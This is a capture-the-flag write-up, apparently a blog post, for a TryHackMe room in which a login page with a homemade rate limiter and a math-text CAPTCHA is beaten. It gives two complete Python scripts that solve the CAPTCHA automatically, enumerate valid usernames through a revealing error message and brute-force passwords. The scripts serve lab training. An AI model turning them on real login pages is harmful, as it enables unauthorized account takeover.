The following post by anthonyjsaab is licensed under
0 - Introduction
Link to room:
This writeup walks you through a room on TryHackMe created by toxicat0r and published on May 5th, 2023.
1 - Context
1a - Given information
"SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly. Before we start, download the required files by pressing the Download Task Files button."
The required file is a ZIP archive containing two files: usernames.txt & passwords.txt
1b - What we know so far
No WAF
Rate limiter exists
Bruteforce is required (implied)
2 - Inspecting the website
2a - Screenshots
Front Page before doing anything
Trying a random login attempt
Spamming wrong credentials to trigger rate-limiter
2b - What we know so far
Website's front page redirects to login page
Login page will disclose whether a username exists in the database
Rate-limiter trigger after around 10 wrong attempts
Rate-limiter cannot be bypassed by clearing cookies, changing user-agent or using a different source IP
The CAPTCHA is a math problem returned as text
The CAPTCHA always has two operands and one of the following operators: +, - or *
3 - Enumerating correct usernames
3a - Python code used
#!/usr/bin/python3
"""
Use this code shortly after having triggered the rate-limiter manually.
Replace the MACHINE_IP with the IP of your target machine's IP.
"""
import re
import requests
import sys
def main(MACHINE_IP):
# Loads usernames from task files
nhu = open("usernames.txt")
users = nhu.read().split("\n")
nhu.close()
# Garbage request sent to collect the CAPTCHA challenge
data = {
'username': 'test',
'password': 'test',
'captcha': '123',
}
response = requests.post(f'http://{MACHINE_IP}/login', data=data)
for u in users:
captcha_data = re.search(r"(\d*) (\W) (\d*) = \?", str(response.content)).groups()
if captcha_data[1] == "+":
captcha_result = int(captcha_data[0]) + int(captcha_data[2])
elif captcha_data[1] == "-":
captcha_result = int(captcha_data[0]) - int(captcha_data[2])
elif captcha_data[1] == "*":
captcha_result = int(captcha_data[0]) * int(captcha_data[2])
data = {
'username': str(u),
'password': 'test',
'captcha': str(captcha_result),
}
response = requests.post(f'http://{MACHINE_IP}/login', data=data)
valid = not re.search(r'The user (.*?) does not exist', str(response.content))
if valid:
print(u)
if __name__ == "__main__":
MACHINE_IP = sys.argv[1]
main(MACHINE_IP)
3b - Output
4 - Finding correct password
4a - Error message for wrong password
4b - Python Code
#!/usr/bin/python3
"""
Use this code shortly after having triggered the rate-limiter manually.
Example usage in terminal: ./password_bruteforce.py 10.10.229.208 john
This code and the passwords.txt should be located in the same directory
"""
import re
import requests
import sys
def main(MACHINE_IP, CORRECT_USERNAME):
# Loads passwords from task files
nhp = open("passwords.txt")
passwords = nhp.read().split("\n")
nhp.close()
# Garbage request sent to collect the CAPTCHA challenge
data = {
'username': 'test',
'password': 'test',
'captcha': '123',
}
response = requests.post(f'http://{MACHINE_IP}/login', data=data)
for p in passwords:
captcha_data = re.search(r"(\d*) (\W) (\d*) = \?", str(response.content)).groups()
if captcha_data[1] == "+":
captcha_result = int(captcha_data[0]) + int(captcha_data[2])
if captcha_data[1] == "-":
captcha_result = int(captcha_data[0]) - int(captcha_data[2])
if captcha_data[1] == "*":
captcha_result = int(captcha_data[0]) * int(captcha_data[2])
data = {
'username': str(CORRECT_USERNAME),
'password': str(p),
'captcha': str(captcha_result),
}
response = requests.post(f'http://{MACHINE_IP}/login', data=data)
valid = not re.search(r'Invalid password for user', str(response.content))
if valid:
print(p)
exit(0)
if __name__ == "__main__":
MACHINE_IP = sys.argv[1]
CORRECT_USERNAME = sys.argv[2]
main(MACHINE_IP, CORRECT_USERNAME)
4c - Output
5 - The Flag!
Target Website's Front Page
Trying a random login attempt
Spamming wrong credentials to trigger rate-limiter